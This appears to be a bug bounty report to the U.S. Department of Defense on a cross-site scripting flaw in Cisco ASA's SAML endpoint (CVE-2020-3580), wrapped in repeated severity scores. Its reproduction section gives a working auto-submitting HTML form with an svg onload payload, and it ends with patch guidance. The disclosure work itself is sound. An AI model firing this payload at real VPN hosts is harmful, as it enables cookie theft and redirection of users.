Cruxn3tH1:1606068U.S. Dept Of Defense: XSS DUE TO CVE-2020-3580
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2.6 Low
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:H/Au:N/C:N/I:P/A:N
0.973 High
EPSS
Percentile
99.8%
Hello Team,
During my research, I found multiple hosts to be vulnerable to Cisco ASA XSS CVE-2020-3580, This vulnerability targets the saml service within the VPN. It is triggered via a POST request to domain/+CSCOE+/saml/sp/acs?tgname=a
References
Impact
With this vulnerability, an attacker can for example steal users cookies or redirect users on malicious website.
System Host(s)
█████
Affected Product(s) and Version(s)
Cisco ASA
CVE Numbers
CVE-2020-3580
Steps to Reproduce
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=“https://████/+CSCOE+/saml/sp/acs?tgname=a” method=“POST”>
<input type=“hidden” name=“SAMLResponse” value=“"><svg/onload=alert('XSS')>” />
<input type=“hidden” name=“” value=“” />
<input type=“submit” value=“Submit request” />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Suggested Mitigation/Remediation Actions
Patch Cisco ASA : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe
Related
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2.6 Low
CVSS2
Access Vector
NETWORK
Access Complexity
HIGH
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:H/Au:N/C:N/I:P/A:N
0.973 High
EPSS
Percentile
99.8%